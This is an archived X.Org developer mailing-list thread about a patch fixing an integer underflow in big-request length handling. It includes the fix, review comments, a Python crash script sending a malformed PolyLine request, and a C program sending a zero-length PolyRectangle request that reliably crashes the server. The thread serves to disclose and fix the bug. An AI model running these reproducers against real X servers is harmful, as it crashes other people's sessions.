Re: [PATCH] os: Make sure big requests have sufficient length.

2017-10-10 Thread Michal Srb 
On pondělí 9. října 2017 17:14:44 CEST Eric Anholt 
> I tried the updated testcase and that didn't crash for me, either.  My
> v2 (which I've now sent out) testcase times out in 30 seconds without
> the fix and passes with the fix.  I'd love your review if you like that
> as a solution.

PolyLine is not crashing because it has `if (npoint > 1)` test and the 
`npoint` (int) overflowed into negative numbers.

If you change the XCB_POLY_LINE into XCB_POLY_RECTANGLE in your test it is 
enough to crash X server on my machine.

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] os: Make sure big requests have sufficient length.

2017-10-09 Thread Eric Anholt 
Peter Hutterer  writes:

> On Mon, Sep 25, 2017 at 12:55:47PM -0700, Eric Anholt wrote:
>> Michal Srb  writes:
>> 
>> > On neděle 24. září 2017 0:20:07 CEST Eric Anholt wrote:
>> >> Michal Srb  writes:
>> >> > Here is a script that can be used to crash X server using a broken big
>> >> > request for PolyLine. It connects to DISPLAY=:1 and doesn't support
>> >> > authentication. Look inside the script for more details.
>> >> > 
>> >> > Other requests could be used to crash X server in similar way, for 
>> >> > example
>> >> > SetFontPath.
>> >> 
>> >> I noticed this still in my mailbox.  I tried writing an mergeable unit
>> >> test for it at:
>> >> 
>> >> https://github.com/anholt/xserver/commit/d0e9d732750aa8eb7eeb33adce321f1dfee
>> >> f265d
>> >> 
>> >> but it doesn't manage to crash the server because I can't set the endian
>> >> mode using xcb (and xcb, sensibly, doesn't let me get an fd without
>> >> doing connection setup on it).
>> >> 
>> >> I don't know much about the codepath with the bug, but hopefully this
>> >> sparks some discussion.
>> >
>> > Hi,
>> >
>> > I think in your test case the underflow of the request length still 
>> > happens, 
>> > but it doesn't crash because nobody tries to access the data. It ends 
>> > inside 
>> > ProcPolyLine because the Drawable and the GC are not valid.
>> >
>> > In my test case the client was big endian, so it crashed inside SProcPoly 
>> > trying to swap the (incorrectly) huge request.
>> >
>> > I think if you supply valid Drawable and GC, you should get crash even 
>> > with 
>> > little endian.
>> 
>> I tried creating a gc against the root window and doing the drawing
>> there, but the request seems to process successfully.  bigreq branch
>> updated with that code.
>
> Following the path in the code, michal's patch is
> Reviewed-by: Peter Hutterer  though fixing the
> typos in the commit message would be good :)
>
> I think for the unit test you have to invert your approach. If you're
> supplying a zero-length big req then you should expect the server to
> complain. If it processes your request, then something is wrong.

I tried the updated testcase and that didn't crash for me, either.  My
v2 (which I've now sent out) testcase times out in 30 seconds without
the fix and passes with the fix.  I'd love your review if you like that
as a solution.


signature.asc
Description: PGP signature
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] os: Make sure big requests have sufficient length.

2017-09-26 Thread Michal Srb 
On pondělí 25. září 2017 12:55:47 CEST Eric Anholt wrote:
> Michal Srb  writes:
> > I think if you supply valid Drawable and GC, you should get crash even
> > with little endian.
> 
> I tried creating a gc against the root window and doing the drawing
> there, but the request seems to process successfully.  bigreq branch
> updated with that code.

Ok, looks like PolyLine does not crash because the `int npoint` inside 
ProcPolyLine becomes negative and so it doesn't actually call the rendering 
function. So PolyLine can not be used to crash X server if the client has same 
endianity.

You can use PolyRectangle instead. The attached program crashes my X server 
reliably.

Michal Srb/*
 * Copyright © 2017 Broadcom
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
 * copy of this software and associated documentation files (the "Software"),
 * to deal in the Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute, sublicense,
 * and/or sell copies of the Software, and to permit persons to whom the
 * Software is furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice (including the next
 * paragraph) shall be included in all copies or substantial portions of the
 * Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
 * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
 * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
 * IN THE SOFTWARE.
 */

#include 
#include 
#include 
#include 
#include 


int main(int argc, char **argv) {
// Open connection
xcb_connection_t *c = xcb_connect(0, 0);

// Create window
xcb_screen_t *screen = xcb_setup_roots_iterator(xcb_get_setup(c)).data;

xcb_window_t win = xcb_generate_id(c);
xcb_void_cookie_t create_window_cookie = xcb_create_window_checked(
c, XCB_COPY_FROM_PARENT, win, screen->root,
0, 0, 100, 100, 0,
XCB_WINDOW_CLASS_INPUT_OUTPUT, screen->root_visual, 0, 0);

xcb_map_window(c, win);

// Create GC
xcb_gcontext_t gc = xcb_generate_id(c);
xcb_void_cookie_t create_gc_cookie = xcb_create_gc(c, gc, win, 0, 0);

// Make sure big requests are enabled
xcb_big_requests_enable_cookie_t big_request_enable_cookie = xcb_big_requests_enable(c);
xcb_big_requests_enable_reply_t* big_request_enable_reply = xcb_big_requests_enable_reply(c, big_request_enable_cookie, 0);
free(big_request_enable_reply);

xcb_flush(c);

int fd = xcb_get_file_descriptor(c);

struct {
uint8_t reqtype;
uint8_t coordmode;
uint16_t length;
uint32_t length_bigreq;
uint32_t drawable;
uint32_t gc;
} polyrectangle_req = {
.reqtype = XCB_POLY_RECTANGLE,

/* This is the value that triggers the bug. */
.length_bigreq = 0,

.drawable = win,
.gc = gc
};

/* Manually write out the bad request.  XCB can't help us here.*/
write(fd, _req, sizeof(polyrectangle_req));

/* Block until the server has processed our mess.  If the server
 * crashes, the simple-xinit will return failure.
 */
struct pollfd pfd = {
.fd = fd,
.events = POLLIN,
};
poll(, 1, -1);

return 0;
}
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] os: Make sure big requests have sufficient length.

2017-09-26 Thread Peter Hutterer 
On Mon, Sep 25, 2017 at 12:55:47PM -0700, Eric Anholt wrote:
> Michal Srb  writes:
> 
> > On neděle 24. září 2017 0:20:07 CEST Eric Anholt wrote:
> >> Michal Srb  writes:
> >> > Here is a script that can be used to crash X server using a broken big
> >> > request for PolyLine. It connects to DISPLAY=:1 and doesn't support
> >> > authentication. Look inside the script for more details.
> >> > 
> >> > Other requests could be used to crash X server in similar way, for 
> >> > example
> >> > SetFontPath.
> >> 
> >> I noticed this still in my mailbox.  I tried writing an mergeable unit
> >> test for it at:
> >> 
> >> https://github.com/anholt/xserver/commit/d0e9d732750aa8eb7eeb33adce321f1dfee
> >> f265d
> >> 
> >> but it doesn't manage to crash the server because I can't set the endian
> >> mode using xcb (and xcb, sensibly, doesn't let me get an fd without
> >> doing connection setup on it).
> >> 
> >> I don't know much about the codepath with the bug, but hopefully this
> >> sparks some discussion.
> >
> > Hi,
> >
> > I think in your test case the underflow of the request length still 
> > happens, 
> > but it doesn't crash because nobody tries to access the data. It ends 
> > inside 
> > ProcPolyLine because the Drawable and the GC are not valid.
> >
> > In my test case the client was big endian, so it crashed inside SProcPoly 
> > trying to swap the (incorrectly) huge request.
> >
> > I think if you supply valid Drawable and GC, you should get crash even with 
> > little endian.
> 
> I tried creating a gc against the root window and doing the drawing
> there, but the request seems to process successfully.  bigreq branch
> updated with that code.

Following the path in the code, michal's patch is
Reviewed-by: Peter Hutterer  though fixing the
typos in the commit message would be good :)

I think for the unit test you have to invert your approach. If you're
supplying a zero-length big req then you should expect the server to
complain. If it processes your request, then something is wrong.

Cheers,
   Peter
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] os: Make sure big requests have sufficient length.

2017-09-25 Thread Eric Anholt 
Michal Srb  writes:

> On neděle 24. září 2017 0:20:07 CEST Eric Anholt wrote:
>> Michal Srb  writes:
>> > Here is a script that can be used to crash X server using a broken big
>> > request for PolyLine. It connects to DISPLAY=:1 and doesn't support
>> > authentication. Look inside the script for more details.
>> > 
>> > Other requests could be used to crash X server in similar way, for example
>> > SetFontPath.
>> 
>> I noticed this still in my mailbox.  I tried writing an mergeable unit
>> test for it at:
>> 
>> https://github.com/anholt/xserver/commit/d0e9d732750aa8eb7eeb33adce321f1dfee
>> f265d
>> 
>> but it doesn't manage to crash the server because I can't set the endian
>> mode using xcb (and xcb, sensibly, doesn't let me get an fd without
>> doing connection setup on it).
>> 
>> I don't know much about the codepath with the bug, but hopefully this
>> sparks some discussion.
>
> Hi,
>
> I think in your test case the underflow of the request length still happens, 
> but it doesn't crash because nobody tries to access the data. It ends inside 
> ProcPolyLine because the Drawable and the GC are not valid.
>
> In my test case the client was big endian, so it crashed inside SProcPoly 
> trying to swap the (incorrectly) huge request.
>
> I think if you supply valid Drawable and GC, you should get crash even with 
> little endian.

I tried creating a gc against the root window and doing the drawing
there, but the request seems to process successfully.  bigreq branch
updated with that code.


signature.asc
Description: PGP signature
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] os: Make sure big requests have sufficient length.

2017-09-25 Thread Michal Srb 
On neděle 24. září 2017 0:20:07 CEST Eric Anholt wrote:
> Michal Srb  writes:
> > Here is a script that can be used to crash X server using a broken big
> > request for PolyLine. It connects to DISPLAY=:1 and doesn't support
> > authentication. Look inside the script for more details.
> > 
> > Other requests could be used to crash X server in similar way, for example
> > SetFontPath.
> 
> I noticed this still in my mailbox.  I tried writing an mergeable unit
> test for it at:
> 
> https://github.com/anholt/xserver/commit/d0e9d732750aa8eb7eeb33adce321f1dfee
> f265d
> 
> but it doesn't manage to crash the server because I can't set the endian
> mode using xcb (and xcb, sensibly, doesn't let me get an fd without
> doing connection setup on it).
> 
> I don't know much about the codepath with the bug, but hopefully this
> sparks some discussion.

Hi,

I think in your test case the underflow of the request length still happens, 
but it doesn't crash because nobody tries to access the data. It ends inside 
ProcPolyLine because the Drawable and the GC are not valid.

In my test case the client was big endian, so it crashed inside SProcPoly 
trying to swap the (incorrectly) huge request.

I think if you supply valid Drawable and GC, you should get crash even with 
little endian.

Michal Srb
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] os: Make sure big requests have sufficient length.

2017-09-24 Thread Eric Anholt 
Michal Srb  writes:

> Here is a script that can be used to crash X server using a broken big 
> request 
> for PolyLine. It connects to DISPLAY=:1 and doesn't support authentication. 
> Look inside the script for more details.
>
> Other requests could be used to crash X server in similar way, for example 
> SetFontPath.

I noticed this still in my mailbox.  I tried writing an mergeable unit
test for it at:

https://github.com/anholt/xserver/commit/d0e9d732750aa8eb7eeb33adce321f1dfeef265d

but it doesn't manage to crash the server because I can't set the endian
mode using xcb (and xcb, sensibly, doesn't let me get an fd without
doing connection setup on it).

I don't know much about the codepath with the bug, but hopefully this
sparks some discussion.


signature.asc
Description: PGP signature
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

Re: [PATCH] os: Make sure big requests have sufficient length.

2017-07-07 Thread Michal Srb 
Here is a script that can be used to crash X server using a broken big request 
for PolyLine. It connects to DISPLAY=:1 and doesn't support authentication. 
Look inside the script for more details.

Other requests could be used to crash X server in similar way, for example 
SetFontPath.

Michal Srb#!/usr/bin/env python

# This script crashes X server by sending a PolyLine request as a big request with incorrect length.
# The length underflows in X server, so it seems that the received request is huge.
# X server then tries to swap all elements inside the giant PolyLine request, eventually triggering segfault.

# Other requests could be used to crash X server in similar way, for example SetFontPath.

# Author: Michal Srb 
# License: MIT


# -- Configure this --

# Display to connect to
display_number = "1"
display_socket = "/tmp/.X11-unix/X" + display_number

# BIG-REQUESTS extension id
big_requests_extension = 133

# 


import struct
import socket

# Connection initiation
data = struct.pack(
  ">cxxx", # xConnClientPrefix
  'B', # .byteOrder= Big endian
  11,  # .majorVersion = 11
  0,   # .minorVersion = 0
  0,   # .nbytesAuthProto  = None # TODO: Support authentications
  0# .nbytesAuthString = None # TODO: Support authentications
)

# Enable big requests
data += struct.pack(
  ">BBH", # xBigReqEnableReq
  big_requests_extension, # .reqType = XBigReqCode
  0,  # .brReqType = X_BigReqEnable
  1   # .length = 1 * 4B = 4B
)

# PolyLine as big request
data += struct.pack(
  ">BBHIII",   # xPolyLineReq
  65,  # .reqType  = Poly Line request
  0,   # .coordMode= whatever
  0,   # .length   = 0 -> big request!
  0,   # .length (big request) = 0 ... XXX This will underflow!
  0,   # .drawable = whatever
  0,   # .gc   = whatever
)

# Send it
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(display_socket)
s.sendall(data)
s.recv(1)
s.close()
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel

[PATCH] os: Make sure big requests have sufficient length.

2017-07-07 Thread msrb 
From: Michal Srb 

A client can send a big request where the 32B "length" field has value 0. When 
the big request header is removed and the is length corrected, the value will 
underflow to 0x.
Functions processing the request later will think that the client sent much 
more data and may touch memory behind the receive buffer.
---
 os/io.c | 5 +
 1 file changed, 5 insertions(+)

diff --git a/os/io.c b/os/io.c
index b0402912a..955c24924 100644
--- a/os/io.c
+++ b/os/io.c
@@ -441,6 +441,11 @@ ReadRequestFromClient(ClientPtr client)
 if (!gotnow)
 AvailableInput = oc;
 if (move_header) {
+if (client->req_len < bytes_to_int32(sizeof(xBigReq) - sizeof(xReq))) {
+YieldControlDeath();
+return -1;
+}
+
 request = (xReq *) oci->bufptr;
 oci->bufptr += (sizeof(xBigReq) - sizeof(xReq));
 *(xReq *) oci->bufptr = *request;
-- 
2.12.3

___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel